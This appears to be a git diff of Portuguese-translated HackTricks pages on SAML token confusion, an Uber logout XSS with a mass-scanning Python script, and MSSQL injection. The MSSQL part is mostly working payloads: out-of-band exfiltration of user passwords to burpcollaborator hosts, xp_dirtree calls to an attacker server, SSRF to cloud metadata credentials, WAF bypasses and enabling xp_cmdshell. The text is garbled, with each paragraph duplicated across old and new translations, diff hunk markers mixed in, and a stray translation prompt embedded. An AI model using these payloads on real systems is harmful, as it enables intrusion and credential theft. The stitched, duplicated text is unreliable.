O atributo Destinatário encontrado no elemento **SubjectConfirmationData é uma URL que especifica o local para o qual a Afirmação deve ser entregue**. Se o Destinatário for um Provedor de Serviço diferente daquele que o recebe, a Afirmação não deve ser aceita.
### Como fazer <a href="#token-recipient-confusion-how-to" id="token-recipient-confusion-how-to"></a>
A Confusão do Destinatário do Token SAML (SAML-TRC) tem algumas condições prévias para que possamos tentar a exploração. Primeiro, **precisamos ter uma conta legítima em um Provedor de Serviços**. Em segundo lugar, **SP-Alvo deve aceitar tokens emitidos pelo mesmo Provedor de Identidade que atende ao SP-Legit**.
A Confusão do Destinatário do Token SAML (SAML-TRC) tem algumas condições prévias para que possamos tentar a exploração. Primeiro, **precisamos** ter uma **conta legítima em um Provedor de Serviço**. Segundo, **SP-Target deve aceitar tokens emitidos pelo mesmo Provedor de Identidade que atende SP-Legit**.
O ataque é relativamente simples se as condições forem verdadeiras. Nós **autenticamos** no **SP-Legit** via o Provedor de Identidade compartilhado. Então **interceptamos a Resposta SAML em seu caminho do IdP para o SP-Legit**. Uma vez interceptada, enviamos a **Resposta SAML que foi destinada ao SP-Legit para o SP-Alvo em vez disso**. Se o **SP-Alvo aceitar a Declaração**; nos encontraremos conectados com o mesmo nome de conta que temos para o SP-Legit e teremos acesso aos recursos correspondentes do SP-Alvo.
O ataque é relativamente simples se as condições forem verdadeiras. Nós **nos autenticamos** no **SP-Legit** através do Provedor de Identidade compartilhado. Em seguida, **interceptamos a Resposta SAML a caminho do IdP para SP-Legit**. Uma vez interceptada, enviamos a **Resposta SAML que foi destinada para SP-Legit para SP-Target em vez disso.** Se **SP-Target aceitar a Afirmação**; nos encontraremos logados com o mesmo nome de conta que temos para SP-Legit e teremos acesso aos recursos correspondentes de SP-Target.
## XSS na funcionalidade de logout
## XSS na funcionalidade de Logout
(Acesse a [pesquisa original aqui](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/))
Depois de realizar a força bruta de diretórios, encontrei a seguinte página:
Após realizar o brute forcing de diretórios, encontrei a seguinte página:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
É uma página de logout, eu abri o link acima e ele me redirecionou para a seguinte página.
É uma página de logout, abri o link acima e fui redirecionado para a seguinte página
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
O parâmetro base está recebendo uma URL, então que tal substituí-lo pelo clássico `javascript:alert(123);` para acionar um XSS.
### Exploração em massa
### Exploração em Massa
Usando o [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor), que pode receber uma lista de URLs e, em seguida, fornecer a URL de retorno (SAML consume), decidi alimentar a ferramenta com todos os subdomínios de `uberinternal.com` para ver se há outros domínios que usam a mesma biblioteca e havia.
O que fiz em seguida foi criar um script que chama a página vulnerável `oidauth/prompt` e tenta o XSS e, se minha entrada for refletida, ele me dá uma mensagem vulnerável agradável.
Usando [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) que pode receber uma lista de URLs e depois devolver a URL de callback (consumo SAML), decidi alimentar a ferramenta com todos os subdomínios de `uberinternal.com` para ver se há outros domínios que usam a mesma biblioteca, e havia.
O que fiz em seguida foi criar um script que chama a página vulnerável `oidauth/prompt` e tenta o XSS e, se minha entrada for refletida, ele me dá uma mensagem de vulnerável agradável.
```python
import requests
import urllib3
@ -294,29 +283,30 @@ from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## Referências
Os ataques foram obtidos em [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
Os ataques foram obtidos de [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
Você pode encontrar recursos adicionais e write-ups em [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

130
pentesting-web/sql-injection/mssql-injection.md
View file

@ -2,13 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
@ -16,10 +18,10 @@
Pode ser possível **enumerar usuários de domínio via injeção SQL dentro de um servidor MSSQL** usando as seguintes funções MSSQL:
* **`SELECT DEFAULT_DOMAIN()`**: Obter o nome de domínio atual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMÍNIO\Administrador'))`**: Se você conhece o nome do domínio (_DOMÍNIO_ neste exemplo), esta função retornará o **SID do usuário Administrador** no formato hexadecimal. Isso parecerá `0x01050000000[...]0000f401`, observe como os **últimos 4 bytes** são o número **500** no formato **big endian**, que é o **ID comum do usuário administrador**.\
Esta função permitirá que você **conheça o ID do domínio** (todos os bytes, exceto os últimos 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta função retornará o **nome de usuário do ID indicado** (se houver), neste caso **0000e803** em big endian == **1000** (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar bruta IDs de usuário de 1000 a 2000 e provavelmente obter todos os nomes de usuário dos usuários do domínio. Por exemplo, usando uma função como a seguinte:
* **`SELECT DEFAULT_DOMAIN()`**: Obter o nome do domínio atual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Se você conhece o nome do domínio (_DOMAIN_ neste exemplo), esta função retornará o **SID do usuário Administrador** em formato hex. Isso se parecerá com `0x01050000000[...]0000f401`, note como os **últimos 4 bytes** são o número **500** em formato **big endian**, que é o **ID comum do usuário administrador**.\
Esta função permitirá que você **conheça o ID do domínio** (todos os bytes exceto os últimos 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta função retornará o **nome de usuário do ID indicado** (se houver), neste caso **0000e803** em big endian == **1000** (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar bruta os IDs de usuários de 1000 a 2000 e provavelmente obter todos os nomes de usuários do domínio. Por exemplo, usando uma função como a seguinte:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -27,11 +29,11 @@ user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Vectores baseados em erros alternativos**
## **Vetores Alternativos Baseados em Erro**
As injeções de SQL baseadas em erros geralmente se assemelham a construções como `+AND+1=@@version--` e variantes baseadas no operador «OR». Consultas contendo tais expressões geralmente são bloqueadas por WAFs. Como uma forma de contornar isso, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que disparam um erro de conversão de tipo de dados nos dados desejados.
Injeções SQL baseadas em erro tipicamente se assemelham a construções como `+AND+1=@@version--` e variantes baseadas no operador «OR». Consultas contendo tais expressões geralmente são bloqueadas por WAFs. Como uma forma de contornar, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que desencadeiam um erro de conversão de tipo de dados na informação desejada.
Alguns exemplos dessas funções:
Alguns exemplos de tais funções:
* `SUSER_NAME()`
* `USER_NAME()`
@ -45,19 +47,9 @@ Exemplo de uso da função `USER_NAME()`:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
## SSRF
### `fn_xe_file_target_read_file`
A função `fn_xe_file_target_read_file` é usada para ler arquivos no Microsoft SQL Server. No entanto, essa função pode ser explorada para realizar um ataque de SSRF (Server-Side Request Forgery).
O ataque de SSRF ocorre quando um invasor consegue fazer com que o servidor execute solicitações em seu nome para outros sistemas internos ou externos. Isso pode levar a vários problemas de segurança, como vazamento de informações confidenciais ou até mesmo comprometimento completo do sistema.
Para explorar essa vulnerabilidade, o invasor pode fornecer um caminho de arquivo malicioso como parâmetro para a função `fn_xe_file_target_read_file`. Isso fará com que o servidor SQL execute a leitura do arquivo especificado pelo invasor.
É importante mencionar que essa vulnerabilidade só pode ser explorada se o usuário tiver permissões para executar a função `fn_xe_file_target_read_file`. Portanto, é essencial garantir que as permissões sejam configuradas corretamente para evitar possíveis ataques de SSRF.
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
@ -72,16 +64,6 @@ Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
A função `fn_get_audit_file` é uma função específica do Microsoft SQL Server que permite aos usuários obter informações de auditoria de um arquivo específico. Essa função é comumente usada para fins de monitoramento e análise de segurança.
No entanto, é importante ter cuidado ao usar essa função, pois ela pode ser vulnerável a ataques de injeção de SQL. Os invasores podem explorar essa vulnerabilidade para executar comandos maliciosos no banco de dados, comprometendo a integridade e a confidencialidade dos dados.
Para evitar ataques de injeção de SQL, é recomendado validar e sanitizar todas as entradas de dados antes de passá-las para a função `fn_get_audit_file`. Isso pode ser feito por meio de técnicas como a utilização de parâmetros parametrizados ou a implementação de filtros de entrada adequados.
Além disso, é importante manter o Microsoft SQL Server atualizado com as últimas correções de segurança e seguir as práticas recomendadas de segurança, como a aplicação de princípios de privilégio mínimo e a restrição de acesso aos objetos do banco de dados.
Ao tomar essas precauções, é possível utilizar a função `fn_get_audit_file` de forma segura e eficaz, aproveitando seus recursos de auditoria sem comprometer a segurança do sistema.
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
@ -95,13 +77,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettabe`
A função `fn_trace_gettabe` é uma função interna do Microsoft SQL Server que é usada para obter informações de rastreamento de eventos. Essa função retorna uma tabela temporária que contém os dados de rastreamento capturados pelo SQL Server Profiler.
Essa função pode ser explorada em um ataque de injeção de SQL para obter informações sensíveis do banco de dados. Um invasor pode usar essa função para extrair dados confidenciais, como nomes de usuário, senhas e outras informações confidenciais armazenadas no banco de dados.
Para proteger contra ataques de injeção de SQL que exploram a função `fn_trace_gettabe`, é importante implementar práticas de segurança recomendadas, como a validação adequada de entrada de dados, o uso de parâmetros de consulta parametrizados e a restrição de privilégios de acesso ao banco de dados.
### `fn_trace_gettable`
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
@ -117,7 +93,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
O método mais comum para fazer uma chamada de rede que você encontrará usando o MSSQL é o uso do Stored Procedure `xp_dirtree`, que estranhamente não é documentado pela Microsoft, o que fez com que ele fosse [documentado por outras pessoas na Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Este método tem sido usado em [vários exemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de posts de [exfiltração de dados fora de banda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) na Internet.
O método mais comum para realizar uma chamada de rede que você encontrará usando MSSQL é o uso da Stored Procedure `xp_dirtree`, que curiosamente não é documentada pela Microsoft, o que fez com que fosse [documentada por outras pessoas na Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Esse método foi usado em [vários exemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de posts sobre [Exfiltração de Dados Fora de Banda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) na Internet.
Essencialmente,
```sql
@ -125,25 +101,27 @@ DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
Assim como o `LOAD_FILE` do MySQL, você pode usar o `xp_dirtree` para fazer uma solicitação de rede apenas para a porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos de rede.
Assim como o `LOAD_FILE` do MySQL, você pode usar `xp_dirtree` para fazer uma solicitação de rede **apenas para a porta TCP 445**. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos de rede.
PS: Isso não funciona no Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) em execução em um Windows Server 2016 Datacenter na configuração padrão.
**PS:** Isso não funciona no `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` executado em um `Windows Server 2016 Datacenter` na configuração padrão.
Existem outros procedimentos armazenados, como o `master..xp_fileexist` ou `xp_subdirs`, que podem ser usados para resultados semelhantes.
Existem **outras** stored procedures \*\*\*\* [**como `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) ou **`xp_subdirs`** que podem ser usadas para resultados semelhantes.
### `xp_cmdshell`
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Obviamente, você também pode usar o `xp_cmdshell` para executar algo que acione um SSRF. Para mais informações, leia a seção relevante na página:
Obviamente, você também pode usar **`xp_cmdshell`** para **executar** algo que acione um **SSRF**. Para mais informações **leia a seção relevante** na página:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### Função Definida pelo Usuário MSSQL - SQLHttp
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
É bastante simples escrever uma UDF CLR (Função Definida pelo Usuário em Tempo de Execução Comum - código escrito em qualquer uma das linguagens .NET e compilado em um DLL) e carregá-la no MSSQL para funções personalizadas. No entanto, isso requer acesso `dbo`, portanto, pode não funcionar a menos que a conexão do aplicativo da web ao banco de dados seja como `sa` ou uma função de Administrador.
É bastante simples escrever uma **CLR UDF** (Common Language Runtime User Defined Function - código escrito com qualquer uma das linguagens **.NET** e compilado em um **DLL**) e **carregá-lo dentro do MSSQL para funções personalizadas**. Isso, no entanto, **requer acesso `dbo`** então pode não funcionar a menos que a conexão da aplicação web com o banco de dados **como `sa` ou um papel de Administrador**.
[Este repositório do Github possui o projeto do Visual Studio e as instruções de instalação](https://github.com/infiniteloopltd/SQLHttp) para carregar o binário no MSSQL como uma montagem CLR e, em seguida, invocar solicitações GET HTTP de dentro do MSSQL.
[Este repositório do Github tem o projeto do Visual Studio e as instruções de instalação](https://github.com/infiniteloopltd/SQLHttp) para carregar o binário no MSSQL como um assembly CLR e depois invocar solicitações HTTP GET de dentro do MSSQL.
[O código `http.cs` usa a classe `WebClient` para fazer uma solicitação GET e buscar o conteúdo](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) conforme especificado.
O código `http.cs` usa a classe `WebClient` para fazer uma solicitação GET e buscar o conteúdo conforme especificado
```csharp
using System.Data.SqlTypes;
using System.Net;
@ -159,29 +137,29 @@ return new SqlString (html);
}
}
```
Nas instruções de instalação, execute o seguinte antes da consulta `CREATE ASSEMBLY` para adicionar o hash SHA512 da montagem à lista de assemblies confiáveis no servidor (você pode ver a lista usando `select * from sys.trusted_assemblies;`)
Nas instruções de instalação, execute o seguinte antes da consulta `CREATE ASSEMBLY` para adicionar o hash SHA512 do assembly à lista de assemblies confiáveis no servidor (você pode ver a lista usando `select * from sys.trusted_assemblies;`)
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Uma vez que a montagem é adicionada e a função criada, podemos executar o seguinte para fazer nossas solicitações HTTP.
Uma vez que a assembly é adicionada e a função criada, podemos executar o seguinte para fazer nossos pedidos HTTP
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/15.png)
## **Exploração rápida: Recuperar uma tabela inteira em uma consulta**
## **Exploração rápida: Recuperar uma tabela inteira em uma única consulta**
Existem duas maneiras simples de recuperar todo o conteúdo de uma tabela em uma única consulta - o uso da cláusula FOR XML ou da cláusula FOR JSON. A cláusula FOR XML requer um modo especificado, como "raw", então em termos de brevidade, FOR JSON supera isso.
Existem duas maneiras simples de recuperar todo o conteúdo de uma tabela em uma consulta — o uso da cláusula FOR XML ou da cláusula FOR JSON. A cláusula FOR XML requer um modo especificado, como «raw», então em termos de brevidade, FOR JSON a supera.
A consulta para recuperar o esquema, tabelas e colunas do banco de dados atual:
```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
```
```markdown
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
As vetores baseados em erros precisam de um alias ou um nome, pois a saída de expressões sem eles não pode ser formatada como JSON.
Vetores baseados em erro precisam de um alias ou nome, pois a saída de expressões sem nenhum dos dois não pode ser formatada como JSON.
```
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
@ -189,30 +167,28 @@ https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_n
## **Recuperando a consulta atual**
A consulta SQL atual sendo executada pode ser recuperada do acesso `sys.dm_exec_requests` e `sys.dm_exec_sql_text`:
A consulta SQL atualmente em execução pode ser recuperada acessando `sys.dm_exec_requests` e `sys.dm_exec_sql_text`:
```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
**Permissões:** Se o usuário tiver permissão VIEW SERVER STATE no servidor, o usuário verá todas as sessões em execução na instância do SQL Server; caso contrário, o usuário verá apenas a sessão atual.
**Permissões:** Se o usuário tem permissão VIEW SERVER STATE no servidor, ele verá todas as sessões em execução na instância do SQL Server; caso contrário, o usuário verá apenas a sessão atual.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
## **Pequenos truques para contornar o WAF**
## **Pequenos truques para contornar WAFs**
Caracteres de espaço em branco não padrão: %C2%85 ou %C2%A0:
Caracteres de espaço em branco não padrão: %C2%85 или %C2%A0:
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
Notação científica (0e) e notação hexadecimal (0x) para ofuscar UNION:
Notação científica (0e) e hexadecimal (0x) para ofuscar UNION:
```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
Um ponto em vez de um espaço em branco entre FROM e o nome da coluna:
Um ponto em vez de um espaço em branco entre FROM e o nome de uma coluna:
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
@ -220,13 +196,13 @@ https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
### Bypassando WAF com consultas empilhadas não convencionais
### Bypass de WAF com consultas empilhadas não ortodoxas
De acordo com [**este post de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/), é possível empilhar consultas no MSSQL sem usar ";":
De acordo com [**este post do blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/), é possível empilhar consultas no MSSQL sem usar ";":
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
Portanto, por exemplo, várias consultas como:
Então, por exemplo, múltiplas consultas como:
```sql
use [tempdb]
create table [test] ([id] int)
@ -234,11 +210,11 @@ insert [test] values(1)
select [id] from [test]
drop table[test]
```
O seguinte é o conteúdo de um livro sobre técnicas de hacking. O conteúdo a seguir é do arquivo pentesting-web/sql-injection/mssql-injection.md. Traduza o texto relevante para o português e retorne a tradução mantendo exatamente a mesma sintaxe de markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags de markdown. Também não adicione nada além da tradução e da sintaxe de markdown.
Pode ser reduzido a:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
Portanto, poderia ser possível contornar diferentes WAFs que não consideram essa forma de empilhamento de consultas. Por exemplo:
Portanto, pode ser possível contornar diferentes WAFs que não consideram esta forma de empilhar consultas. Por exemplo:
```
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
@ -266,12 +242,14 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
